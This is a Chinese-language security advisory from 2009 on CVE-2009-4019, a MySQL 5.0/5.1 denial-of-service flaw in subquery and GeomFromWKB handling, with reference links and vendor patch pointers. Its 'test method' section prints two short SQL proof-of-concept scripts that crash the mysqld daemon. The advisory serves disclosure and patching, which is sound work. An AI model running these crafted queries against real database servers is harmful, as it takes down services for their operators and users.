MySQL SELECT语句处理拒绝服务漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2009-12-03
MySQL SELECT语句处理拒绝服务漏洞 影响版本:
MySQL AB MySQL 5.1.x 
MySQL AB MySQL 5.0.x漏洞描述:
CVE ID: CVE-2009-4019

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL的mysqld守护程序没有正确地处理在执行某些带有子查询的SELECT语句期间所产生的错误,在执行使用GeomFromWKB函数的语句期间没有保留某些null_value标记,这允许通过认证的远程安全者通过提交特制语句导致守护程序崩溃。<*参考 
http://secunia.com/advisories/37372/
http://bugs.mysql.com/bug.php?id=48291
http://bugs.mysql.com/bug.php?id=47780
http://bugs.mysql.com/bug.php?id=47780
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有安全性,仅供安全研究与教学之用,风险自负!drop table if exists `t1`;
create table `t1`(`a` float);
insert into `t1` values (-2),(-1);
select  1 from `t1`
where
`a` <> ’1’ and not
row(`a`,`a`) <=>
row((select 1 from `t1` where 1=2),(select 1 from `t1`)) 
into @`var0`;


drop table if exists `t1`;
create table `t1`(`c0` bigint,`c3` multipolygon);
insert into `t1` values 
(0,geomfromtext(’multipolygon(((1 2,3 4,5 6,7 8,9 8),(7 6,5 4,3 2,1 2,3 4)))’));
select 1 from `t1` where 
`c0` <>  (select geometrycollectionfromwkb(`c3`) from `t1`);

SEBUG安全建议:
厂商补丁:

MySQL AB
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://lists.mysql.com/commits/88409
http://lists.mysql.com/commits/87482